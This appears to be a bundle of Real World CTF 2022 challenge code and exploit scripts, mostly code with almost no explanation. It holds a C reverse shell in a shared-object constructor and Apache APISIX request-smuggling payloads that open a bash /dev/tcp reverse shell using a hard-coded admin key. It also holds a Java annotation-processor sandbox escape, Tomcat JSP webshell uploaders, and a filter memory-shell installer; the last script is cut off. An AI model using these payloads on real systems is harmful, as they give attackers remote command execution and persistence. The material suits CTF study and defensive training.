Rwctf 2022

#!/usr/bin/env python3

import flask
import psycopg2
import datetime
import hashlib
from skynet import Skynet

app = flask.Flask(__name__, static_url_path='')
skynet = Skynet()

def skynet_detect():
    req = {
        'method': flask.request.method,
        'path': flask.request.full_path,
        'host': flask.request.headers.get('host'),
        'content_type': flask.request.headers.get('content-type'),
        'useragent': flask.request.headers.get('user-agent'),
        'referer': flask.request.headers.get('referer'),
        'cookie': flask.request.headers.get('cookie'),
        'body': str(flask.request.get_data()),
    }
    _, result = skynet.classify(req)
    return result and result['attack']

@app.route('/static/<path:path>')
def static_files(path):
    return flask.send_from_directory('static', path)

@app.route('/', methods=['GET', 'POST'])
def do_query():
    if skynet_detect():
        return flask.abort(403)

    if not query_login_state():
        response = flask.make_response('No login, redirecting', 302)
        response.location = flask.escape('/login')
        return response

    if flask.request.method == 'GET':
        return flask.send_from_directory('', 'index.html')
    elif flask.request.method == 'POST':
        kt = query_kill_time()
        if kt:
            result = kt 
        else:
            result = ''
        return flask.render_template('index.html', result=result)
    else:
        return flask.abort(400)

@app.route('/login', methods=['GET', 'POST'])
def do_login():
    if skynet_detect():
        return flask.abort(403)

    if flask.request.method == 'GET':
        return flask.send_from_directory('static', 'login.html')
    elif flask.request.method == 'POST':
        if not query_login_attempt():
            return flask.send_from_directory('static', 'login.html')
        else:
            session = create_session()
            response = flask.make_response('Login success', 302)
            response.set_cookie('SessionId', session)
            response.location = flask.escape('/')
            return response
    else:
        return flask.abort(400)

def query_login_state():
    sid = flask.request.cookies.get('SessionId', '')
    if not sid:
        return False

    now = datetime.datetime.now()
    with psycopg2.connect(
            host="challenge-db",
            database="ctf",
            user="ctf",
            password="ctf") as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT sessionid"
           "  FROM login_session"
           "  WHERE sessionid = %s"
           "    AND valid_since <= %s"
           "    AND valid_until >= %s"
           "", (sid, now, now))
        data = [r for r in cursor.fetchall()]
        return bool(data)

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else ''
    return name == username

def create_session():
    valid_since = datetime.datetime.now()
    valid_until = datetime.datetime.now() + datetime.timedelta(days=1)
    sessionid = hashlib.md5((str(valid_since)+str(valid_until)+str(datetime.datetime.now())).encode()).hexdigest()

    sql_exec_update(("INSERT INTO login_session (sessionid, valid_since, valid_until)"
           "  VALUES ('{}', '{}', '{}')").format(sessionid, valid_since, valid_until))
    return sessionid

def query_kill_time():
    name = flask.request.form.get('name', '')
    if not name:
        return None

    sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)
    if not nb:
        return None
    return '{}: {}'.format(*nb[0])

def sql_exec(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            for row in cursor.fetchall():
                data.append([col for col in row])
            cursor.close()
    except Exception as e:
        print(e)
    return data

def sql_exec_update(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            conn.commit()
    except Exception as e:
        print(e)
    return data

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

POST /upload?formid=form-636080e5-e589-433d-9fa5-2e8ec0f5ba132 HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG9WWWEEOTX4T6bTg
Content-Length: 478

------WebKitFormBoundaryG9WWWEEOTX4T6bTg
Content-Disposition: form-data; name="form-636080e5-e589-433d-9fa5-2e8ec0f5ba132"; filename="2.txt"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryG9WWWEEOTX4T6bTg
Content-Disposition: form-data; name="form-636080e5-e589-433d-9fa5-2e8ec0f5ba13"; filename=".htaccess"
Content-Type: application/octet-stream

ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"
------WebKitFormBoundaryG9WWWEEOTX4T6bTg--

#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define LHOST "x.x.x.x"
#define LPORT 4444

__attribute__((constructor))
static void revshell(void)
{
    struct sockaddr_in sa;
    int fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd < 0)
        return;

    sa.sin_family = AF_INET;
    sa.sin_port = htons(LPORT);
    sa.sin_addr.s_addr = inet_addr(LHOST);

    if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        close(fd);
        return;
    }

    switch (fork()) {
    case -1:
        close(fd);
        return;
    case 0:  /* 子进程：脱终端 + 重定向 + 起 shell */
        setsid();
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2);
        close(fd);
        execl("/bin/sh", "sh", NULL);
        _exit(0);
    default: /* 父进程（gzip）立即退出，HTTP 响应不挂起 */
        close(fd);
        _exit(0);
    }
}

//gcc -shared -fPIC -o 1.so 1.c

version: "3.9"
services:
  etcd:
    image: "bitnamilegacy/etcd"
    expose:
      - "2379"
    environment:
      ALLOW_NONE_AUTHENTICATION: "yes"

  apisix:
    image: "apache/apisix:2.10.0-centos"
    ports:
      - "9080"
    volumes:
      - "./conf/config.yaml:/usr/local/apisix/conf/config.yaml"
      - "./flag.txt:/flag"
    deploy:
      restart_policy:
        condition: on-failure
        delay: 1s
        max_attempts: 5

#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License.  You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# If you want to set the specified configuration value, you can set the new
# in this file. For example if you want to specify the etcd address:
#
# etcd:
#     host:
#       - http://127.0.0.1:2379
#
# To configure via environment variables, you can use `${{VAR}}` syntax. For instance:
#
# etcd:
#     host:
#       - http://${{ETCD_HOST}}:2379
#
# And then run `export ETCD_HOST=$your_host` before `make init`.
#
# If the configured environment variable can't be found, an error will be thrown.
apisix:
  admin_key:
    - name: admin
      key: edd1c9f034335f136f87ad84b625c8f1  # using fixed API token has security risk, please update it when you deploy to production environment
      role: admin

etcd:
  host:
    - http://etcd:2379

local httpc = http.new()
httpc:set_timeout(data.timeout)
local ok, err = httpc:connect("127.0.0.1", ngx.var.server_port)

+    -- we don't need to handle '_' to '-' as Nginx won't treat 'X_REAL_IP' as 'X-Real-IP'
+    real_ip_hdr = str_lower(real_ip_hdr)

local req = {
    str_upper(params.method),
    " ",
    self.path_prefix or "",
    params.path,
    query,
    HTTP[version],
    true,
    true,
    true,
}

if conf.script then
    local obj, err = loadstring(conf.script)
    if not obj then
        return nil, {error_msg = "failed to load 'script' string: "
                                     .. err}
    end

    if type(obj()) ~= "table" then
        return nil, {error_msg = "'script' should be a Lua object"}
    end
end

POST /apisix/batch-requests HTTP/1.1
Host: 127.0.0.1:56230
Content-Type: application/json

{"headers":{"X-Real-IP":"127.0.0.1","X-API-KEY":"edd1c9f034335f136f87ad84b625c8f1"},"pipeline":[{"method":"PUT","path":"/apisix/admin/routes/666","body":"{\"uri\": \"/rms/24112\", \"methods\": [\"GET\"], \"upstream\": {\"type\": \"roundrobin\", \"nodes\": {\"127.0.0.1:1\": 1}}, \"filter_func\": \"function(vars) os.execute('bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'); return true end\"}"}]}

{
  "headers": {"SICE": "me"},
  "timeout": 500,
  "pipeline": [{
    "method": "PUT",
    "path": "/apisix/admin/routes/1 HTTP/1.1\r\nHost: 127.0.0.1\r\nX-API-KEY: edd1c9f034335f136f87ad84b625c8f1\r\ncmd: cat /flag > /tmp/flag_pwned\r\nContent-Length: 175\r\n\r\n{\"methods\": [\"GET\"], \"uri\": \"/sice\", \"script\": \"local file = io.popen(ngx.req.get_headers()['cmd'], 'r') \\n local output = file:read('*a') \\n file:close() \\n ngx.say(output)\"}\r\n\r\n",
    "body": "test2"
  }]
}

#!/usr/bin/env python3
import base64
import json
import sys

import requests

HOST = "http://127.0.0.1:56230"
RHOST = "host.docker.internal"
RPORT = 4444
API_KEY = "edd1c9f034335f136f87ad84b625c8f1"
URI = "/rms/24112"
ROUTE_ID = 666

command = "bash -i >& /dev/tcp/%s/%s 0>&1" % (RHOST, RPORT)
encoded = base64.b64encode(command.encode("utf-8")).decode("ascii")

payload = {
    "uri": URI,
    "methods": ["GET"],
    "upstream": {"type": "roundrobin", "nodes": {"127.0.0.1:1": 1}},
    "filter_func": (
        "function(vars) os.execute(\"echo '%s' | base64 -d | bash\"); return true end"
        % encoded
    ),
}

body = {
    "headers": {"X-Real-IP": "127.0.0.1", "X-API-KEY": API_KEY},
    "pipeline": [
        {
            "method": "PUT",
            "path": "/apisix/admin/routes/%s" % ROUTE_ID,
            "body": json.dumps(payload),
        }
    ],
}

api = HOST.rstrip("/")
resp = requests.post(api + "/apisix/batch-requests", json=body, timeout=10)
if resp.status_code != 200:
    sys.exit("deploy failed: %s %s" % (resp.status_code, resp.text[:300]))
requests.get(api + URI, timeout=10)

# python3 exp.py

#!/usr/bin/env python
import os
import base64
import tempfile
import subprocess

SOURCE_FILE = "Main.java"
DEP_FILE = "dep.jar"


def get_file(filename: str):
    print(f"Please send me the file {filename}.")
    content = input("Content: (base64 encoded)")
    data = base64.b64decode(content)
    if len(data) > 1024 * 1024:
        raise ValueError("Too long")
    with open(filename, "wb") as fp:
        fp.write(data)


def main():
    print("Welcome to the secured Java sandbox.")
    with tempfile.TemporaryDirectory() as dir:
        os.chdir(dir)
        get_file("Main.java")
        get_file("dep.jar")
        print("Compiling...")
        try:
            subprocess.run(
                ["javac", "-cp", DEP_FILE, SOURCE_FILE],
                input=b"",
                check=True,
            )
        except subprocess.CalledProcessError:
            print("Failed to compile!")
            exit(1)

        print("Running...")
        try:
            subprocess.run(["java", "--version"])
            subprocess.run(
                [
                    "java",
                    "-cp",
                    f".:{DEP_FILE}",
                    "-Djava.security.manager",
                    "-Djava.security.policy==/dev/null",
                    "Main",
                ],
                check=True,
            )
        except subprocess.CalledProcessError:
            print("Failed to run!")
            exit(2)


if __name__ == "__main__":
    main()

import javax.annotation.processing.*;
import javax.lang.model.SourceVersion;
import javax.lang.model.element.*;
import java.nio.file.*;
import java.util.Set;

@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_8)
public class FlagProcessor extends AbstractProcessor {

    @Override
    public synchronized void init(ProcessingEnvironment env) {
        super.init(env);
        try {
            System.out.println("FLAG:" + new String(Files.readAllBytes(Paths.get("/flag"))));
        } catch (Exception e) {
            System.out.println("FLAG:ERROR=" + e);
        }
    }

    @Override
    public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {
        return false;
    }
}

public class Main {
    public static void main(String[] args) {
    }
}

mkdir -p /tmp/build/META-INF/services
javac -d /tmp/build FlagProcessor.java
echo "FlagProcessor" > /tmp/build/META-INF/services/javax.annotation.processing.Processor
cd /tmp/build && jar cf dep.jar .

#!/usr/bin/env python3
import base64
import os
import socket
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337
DIR = os.path.dirname(os.path.abspath(__file__))


def recv_until(sock, pattern, timeout=15):
    sock.settimeout(timeout)
    buf = b""
    while pattern not in buf:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                break
            buf += chunk
        except socket.timeout:
            break
    return buf


def send_file(sock, path):
    with open(path, "rb") as f:
        encoded = base64.b64encode(f.read()).decode()
    recv_until(sock, b"Content:")
    sock.sendall((encoded + "\n").encode())
    time.sleep(0.3)


def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))
    recv_until(sock, b"Main.java")
    send_file(sock, os.path.join(DIR, "Main.java"))
    recv_until(sock, b"dep.jar")
    send_file(sock, os.path.join(DIR, "dep.jar"))
    data = recv_until(sock, b"FLAG:", timeout=20)
    try:
        data += sock.recv(4096)
    except socket.timeout:
        pass
    sock.close()
    text = data.decode(errors="replace")
    for line in text.splitlines():
        if line.startswith("FLAG:"):
            print(line[5:].strip())
            return
    print(text)


if __name__ == "__main__":
    main()
    
# python3 exploit.py 127.0.0.1 1337

package org.rwctf.servlets;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.rwctf.util.ParamUtil;
import org.rwctf.util.StringUtil;

public class ExportServlet extends HttpServlet {
    private File exportDir;

    public void init() throws ServletException {
        this.exportDir = new File(this.getServletContext().getRealPath("/export/"));
        if (!this.exportDir.exists()) {
            this.exportDir.mkdirs();
        }
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String dir = ParamUtil.getParameter(req, "dir");
        String fileName = ParamUtil.getParameter(req, "filename");
        String content = ParamUtil.getParameter(req, "content");
        if (StringUtil.isEmpty(content)) {
            this.outputMsg(resp, "Empty content");
            return;
        }
        if (StringUtil.isEmpty(fileName) || fileName.indexOf(46) < 0) {
            fileName = StringUtil.randomStr();
        } else {
            String fileExt = fileName.substring(fileName.lastIndexOf(46) + 1);
            fileName = StringUtil.randomStr() + "." + fileExt;
        }
        File saveFile = StringUtil.isEmpty(dir) ? new File(this.exportDir, fileName) : new File(this.getServletContext().getRealPath("/"), dir + File.separator + fileName);
        String data = "DIRTY DATA AT THE BEGINNING " + content + " DIRTY DATA AT THE END";
        this.writeBytesToFile(saveFile, data.getBytes(StandardCharsets.UTF_8));
        this.outputMsg(resp, saveFile.getAbsolutePath());
    }

    private void outputMsg(HttpServletResponse resp, String msg) throws IOException {
        resp.getWriter().write(msg);
    }

    private void writeBytesToFile(File dest, byte[] bytes) throws IOException {
        if (!dest.getCanonicalPath().startsWith(this.getServletContext().getRealPath("/"))) {
            throw new IOException("Illegal file path");
        }
        if (!dest.getParentFile().exists()) {
            dest.getParentFile().mkdirs();
        }
        FileOutputStream fos = null;
        try {
            fos = new FileOutputStream(dest);
            fos.write(bytes);
        }
        finally {
            if (fos != null) {
                try {
                    fos.close();
                }
                catch (Exception exception) {}
            }
        }
    }
}

package org.rwctf.util;

import javax.servlet.http.HttpServletRequest;
import org.rwctf.util.StringUtil;

public class ParamUtil {
    private static final String[] SPECIAL_CHARS = new String[]{"&", "<", "'", ">", "\"", "(", ")"};
    private static final String[] REPLACE_CHARS = new String[]{"&", "<", "&#39;", ">", """, "&#40;", "&#41;"};

    public static String getParameter(HttpServletRequest request, String name) {
        String val = request.getParameter(name);
        if (StringUtil.isEmpty(val)) {
            return "";
        }
        return StringUtil.replace(val.trim(), SPECIAL_CHARS, REPLACE_CHARS);
    }
}

package org.rwctf.util;

import java.util.UUID;

public class StringUtil {
    public static boolean isEmpty(String str) {
        return str == null || str.isEmpty();
    }

    public static String randomStr() {
        return UUID.randomUUID().toString().replace("-", "");
    }

    public static String replace(String s, String oldSub, String newSub) {
        if (s != null && oldSub != null && newSub != null) {
            StringBuffer sb = new StringBuffer();
            int length = oldSub.length();
            int x = 0;
            int y = s.indexOf(oldSub);
            while (x <= y) {
                sb.append(s.substring(x, y));
                sb.append(newSub);
                x = y + length;
                y = s.indexOf(oldSub, x);
            }
            sb.append(s.substring(x));
            return sb.toString();
        }
        return null;
    }

    public static String replace(String s, String[] oldSubs, String[] newSubs) {
        if (s != null && oldSubs != null && newSubs != null) {
            if (oldSubs.length != newSubs.length) {
                return s;
            }
            for (int i = 0; i < oldSubs.length; ++i) {
                s = StringUtil.replace(s, oldSubs[i], newSubs[i]);
            }
            return s;
        }
        return null;
    }
}

import java.io.IOException;
import java.io.InputStream;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

public class FilterMemshell implements Filter {
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    public void destroy() {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            try {
                Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
                InputStream in = p.getInputStream();
                byte[] buf = new byte[8192];
                int n;
                while ((n = in.read(buf)) > 0) response.getOutputStream().write(buf, 0, n);
                response.getOutputStream().flush();
            } catch (Exception ignored) {
            }
            return;
        }
        chain.doFilter(request, response);
    }
}

import java.lang.instrument.Instrumentation;
import java.lang.reflect.Method;

public class Agent {
    public static void agentmain(String args, Instrumentation inst) {
        for (Class<?> c : inst.getAllLoadedClasses()) {
            if ("org.apache.jsp.memshell_005fagent_jsp".equals(c.getName())) {
                try {
                    c.getMethod("install0").invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
                break;
            }
        }
    }
}

#!/usr/bin/env python3
import contextlib
import io
import struct
import sys
import time
import zlib

import requests
from compress_lib import ASCIICompressor

PREFIX = b"DIRTY DATA AT THE BEGINNING "
SUFFIX = b" DIRTY DATA AT THE END"
PAD_TAIL = b"C0NY1"
JSP_BODY = b'<%out.print(new java.util.Scanner(Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("c")}).getInputStream()).useDelimiter("\\\\A").next());%>\n'
ALLOW = set(range(128)) - {38, 60, 39, 62, 34, 40, 41}


def fld_ok(n):
    return all((n >> s) & 0xff in ALLOW for s in (0, 8, 16, 24))


def find_content(zip_name):
    comp = ASCIICompressor(bytearray(ALLOW))
    cands = []
    for pad in range(300, 3000):
        raw = b"<!-- " + b"A" * pad + b" -->\n" + JSP_BODY
        if fld_ok(zlib.crc32(raw)) and fld_ok(len(raw)):
            cands.append(raw)
    for raw in cands:
        with contextlib.redirect_stdout(io.StringIO()):
            data = comp.compress(bytearray(raw))[0]
        if fld_ok(len(data)) and fld_ok(len(data) + len(zip_name) + 0x1e + 27):
            return raw, data
    raise SystemExit("no fit")


def build_jar(raw, data, zip_name):
    crc = zlib.crc32(raw) % pow(2, 32)
    lfh = (b"PK\x03\x04" + struct.pack("<HHHHH", 0x000A, 0x0008, 0x0008, 0, 0)
           + struct.pack("<LLL", 0, 0, 0)
           + struct.pack("<HH", len(zip_name), 0) + zip_name)
    cd = (b"PK\x01\x02" + struct.pack("<HHHHHH", 0x000A, 0x000A, 0x0008, 0x0008, 0, 0)
          + struct.pack("<LLL", crc, len(data), len(raw))
          + struct.pack("<HHHHH", len(zip_name), 0, 0, 0, 0)
          + struct.pack("<LL", 0, 27) + zip_name)
    eocd = (b"PK\x05\x06" + struct.pack("<HHHH", 0, 0, 1, 1)
            + struct.pack("<LL", len(cd), len(data) + len(zip_name) + 0x1e + 27)
            + struct.pack("<H", len(PAD_TAIL) + len(SUFFIX)))
    return lfh + data + cd + eocd + PAD_TAIL


def attack(target, cmd, name="shell.jsp"):
    zip_name = f"META-INF/resources/{name}".encode()
    raw, data = find_content(zip_name)
    content = build_jar(raw, data, zip_name)
    assert all(b < 0x80 and b not in {38, 60, 39, 62, 34, 40, 41} for b in content), "content unsafe"
    r = requests.post(f"{target}/export", data={"dir": "./WEB-INF/lib/", "filename": "a.jar", "content": content.decode("latin-1")})
    assert r.status_code == 200, r.text
    requests.post(f"{target}/export", data={"dir": "./WEB-INF/tomcat-web.xml/", "filename": "x", "content": "x"})
    time.sleep(12)
    r = requests.get(f"{target}/{name}", params={"c": cmd}, timeout=15)
    out = r.text.strip().split("-->")[-1].strip()
    return out.rstrip("\x00")


if __name__ == "__main__":
    t = sys.argv[1].rstrip("/")
    c = sys.argv[2] if len(sys.argv) > 2 else "id"
    n = sys.argv[3] if len(sys.argv) > 3 else "shell.jsp"
    print(attack(t, c, n))

#!/usr/bin/env python3
import sys
import time

import requests

TARGET = sys.argv[1].rstrip("/")

EL = """${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""

JSP = '<%java.io.InputStream i=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();byte[] b=new byte[8192];int n;while((n=i.read(b))>0){out.print(new String(b,0,n));}%>'

r = requests.post(f"{TARGET}/export", data={"dir": "", "filename": "a.jsp", "content": EL})
el = f"{TARGET}/export/{r.text.strip().split('/')[-1]}"
requests.post(el, data={"a": "/tmp/session.jsp", "b": "k", "c": JSP, "d": "/"})
requests.post(f"{TARGET}/export", data={"dir": "./WEB-INF/lib/", "filename": "a.jar", "content": "x"})
time.sleep(12)
print(f"{TARGET}/tmp/session.jsp")

"""
Usage:
  python3 el_webshell.py http://127.0.0.1:8080

Demo:
  curl "http://127.0.0.1:8080/tmp/session.jsp?cmd=id"
  curl "http://127.0.0.1:8080/tmp/session.jsp?cmd=/readflag"
"""

#!/usr/bin/env python3
import base64
import subprocess
import sys
import time

import requests

TARGET = sys.argv[1].rstrip("/")

EL = """${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""

JSP = '<%java.io.InputStream i=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();byte[] b=new byte[8192];int n;while((n=i.read(b))>0){out.print(new String(b,0,n));}%>'


def get_shell():
    r = requests.post(f"{TARGET}/export", data={"dir": "", "filename": "a.jsp", "content": EL})
    assert r.status_code == 200 and "/" in r.text, "export failed, restart environment first"
    el = f"{TARGET}/export/{r.text.strip().split('/')[-1]}"
    requests.post(el, data={"a": "/tmp/session.jsp", "b": "k", "c": JSP, "d": "/"})
    requests.post(f"{TARGET}/export", data={"dir": "./WEB-INF/lib/", "filename": "a.jar", "content": "x"})
    time.sleep(12)
    return f"{TARGET}/tmp/session.jsp"


def shell_exec(shell, cmd):
    r = requests.post(shell, data={"cmd": cmd}, timeout=30)
    d = r.text.encode("utf-8", errors="replace")
    i = d.rfind(b"kt\x00")
    return d[i + 3:].decode("utf-8", errors="replace").strip()


def upload_b64(shell, b64data, remote):
    for i in range(0, len(b64data), 100_000):
        chunk = b64data[i:i + 100_000]
        op = ">" if i == 0 else ">>"
        shell_exec(shell, f"echo {chunk} {op} /tmp/t.b64")
        time.sleep(0.1)
    out = shell_exec(shell, f"base64 -d /tmp/t.b64 > {remote} && md5sum {remote}")
    return out


def install_filter(shell):
    subprocess.run(["javac", "-cp", "/tmp/servlet-api.jar", "FilterMemshell.java"], check=True)
    fb64 = base64.b64encode(open("FilterMemshell.class", "rb").read()).decode()
    jsp = f'''<%@ page import="java.lang.reflect.*,java.util.*" %>
<%!
String B64 = "{fb64}";
public byte[] b64d(String s) throws Exception {{
    try {{
        Class<?> c = Class.forName("java.util.Base64");
        Object d = c.getMethod("getDecoder").invoke(null);
        return (byte[]) d.getClass().getMethod("decode", String.class).invoke(d, s);
    }} catch (Exception e) {{
        Class<?> c = Class.forName("sun.misc.BASE64Decoder");
        Object d = c.newInstance();
        return (byte[]) d.getClass().getMethod("decodeBuffer", String.class).invoke(d, s);
    }}
}}
%>
<%
ServletContext sc = request.getServletContext();
Field f1 = sc.getClass().getDeclaredField("context");
f1.setAccessible(true);
Object ac = f1.get(sc);
Field f2 = ac.getClass().getDeclaredField("context");
f2.setAccessible(true);
Object ctx = f2.get(ac);
Field fcF = ctx.getClass().getDeclaredField("filterConfigs");
fcF.setAccessible(true);
Map<String, Object> fcs = (Map) fcF.get(ctx);
if (!fcs.containsKey("memshell")) {{
    ClassLoader cl = Thread.currentThread().getContextClassLoader();
    Class<?> fc = null;
    try {{
        fc = Class.forName("FilterMemshell", false, cl);
    }} catch (ClassNotFoundException e) {{
        byte[] cb = b64d(B64);
        Method define = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        define.setAccessible(true);
        fc = (Class<?>) define.invoke(cl, cb, 0, cb.length);
    }}
    Class<?> fdC = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
    Object fd = fdC.newInstance();
    fdC.getMethod("setFilterName", String.class).invoke(fd, "memshell");
    fdC.getMethod("setFilterClass", String.class).invoke(fd, fc.getName());
    ctx.getClass().getMethod("addFilterDef", fdC).invoke(ctx, fd);
    Field fmF = ctx.getClass().getDeclaredField("filterMaps");
    fmF.setAccessible(true);
    Object cfm = fmF.get(ctx);
    Method arrM = cfm.getClass().getMethod("asArray");
    arrM.setAccessible(true);
    boolean mapped = false;
    for (Object m : (Object[]) arrM.invoke(cfm)) {{
        String n = (String) m.getClass().getMethod("getFilterName").invoke(m);
        if ("memshell".equals(n)) {{ mapped = true; break; }}
    }}
    if (!mapped) {{
        Class<?> fmC = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
        Object fm = fmC.newInstance();
        fmC.getMethod("setFilterName", String.class).invoke(fm, "memshell");
        fmC.getMethod("addURLPattern", String.class).invoke(fm, "/*");
        Method addM = cfm.getClass().getMethod("add", fmC);
        addM.setAccessible(true);
        addM.invoke(cfm, fm);
    }}
    Class<?> fciC = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
    Constructor<?> fciCtor = fciC.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), fdC);
    fciCtor.setAccessible(true);
    fcs.put("memshell", fciCtor.newInstance(ctx, fd));
    out.print("installed");
}} else {{
    out.print("already");
}}
%>'''
    jb64 = base64.b64encode(jsp.encode()).decode()
    upload_b64(shell, jb64, "/tmp/memshell.jsp")
    r = requests.get(f"{TARGET}/tmp/memshell.jsp", timeout=30)
    print("filter memshell:", r.text.strip())
    r = requests.get(f"{TARGET}/tmp/memshell.jsp", params={"cmd": "id"}, timeout=15)
    print("verify:", r.text.strip().split("-->")[-1].strip())


shell = get_shell()
print("webshell:", shell)
install_filter(shell)

"""
Usage:
  python3 memshell.py http://127.0.0.1:8080

Flow:
  EL chain -> webshell -> upload memshell.jsp (FilterMemshell) -> trigger

Demo:
  curl "http://127.0.0.1:8080/tmp/anything?cmd=id"
  curl "http://127.0.0.1:8080/tmp/session.jsp?cmd=/readflag"
"""

#!/usr/bin/env python3
import contextlib
import io
import struct
import sys
import time
import zlib

import requests
from compress_lib import ASCIICompressor

PREFIX = b"DIRTY DATA AT THE BEGINNING "
SUFFIX = b" DIRTY DATA AT THE END"
PAD_TAIL = b"C0NY1"
JSP_BODY = b'<%out.print(new java.util.Scanner(Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("c")}).getInputStream()).useDelimiter("\\\\A").next());%>\n'
ALLOW = set(range(128)) - {38, 60, 39, 62, 34, 40, 41}


def fld_ok(n):
    return all((n >> s) & 0xff in ALLOW for s in (0, 8, 16, 24))


def find_content(zip_name):
    comp = ASCIICompressor(bytearray(ALLOW))
    cands = []
    for pad in range(300, 3000):
        raw = b"<!-- " + b"A" * pad + b" -->\n" + JSP_BODY
        if fld_ok(zlib.crc32(raw)) and fld_ok(len(raw)):
            cands.append(raw)
    for raw in cands:
        with contextlib.redirect_stdout(io.StringIO()):
            data = comp.compress(bytearray(raw))[0]
        if fld_ok(len(data)) and fld_ok(len(data) + len(zip_name) + 0x1e + 27):
            return raw, data
    raise SystemExit("no fit")


def build_jar(raw, data, zip_name):
    crc = zlib.crc32(raw) % pow(2, 32)
    lfh = (b"PK\x03\x04" + struct.pack("<HHHHH", 0x000A, 0x0008, 0x0008, 0, 0)
           + struct.pack("<LLL", 0, 0, 0)
           + struct.pack("<HH", len(zip_name), 0) + zip_name)
    cd = (b"PK\x01\x02" + struct.pack("<HHHHHH", 0x000A, 0x000A, 0x0008, 0x0008, 0, 0)
          + struct.pack("<LLL", crc, len(data), len(raw))
          + struct.pack("<HHHHH", len(zip_name), 0, 0, 0, 0)
          + struct.pack("<LL", 0, 27) + zip_name)
    eocd = (b"PK\x05\x06" + struct.pack("<HHHH", 0, 0, 1, 1)
            + struct.pack("<LL", len(cd), len(data) + len(zip_name) + 0x1e + 27)
            + struct.pack("<H", len(PAD_TAIL) + len(SUFFIX)))
    return lfh + data + cd + eocd + PAD_TAIL


def attack(target, cmd, name="shell.jsp"):
    zip_name = f"META-INF/resources/{name}".encode()
    raw, data = find_content(zip_name)
    content = build_jar(raw, data, zip_name)
    assert all(b < 0x80 and b not in {38, 60, 39, 62, 34, 40, 41} for b in content), "content unsafe"
    r = requests.post(f"{target}/export", data={"dir": "./WEB-INF/lib/", "filename": "a.jar", "content": content.decode("latin-1")})
    assert r.status_code == 200, r.text
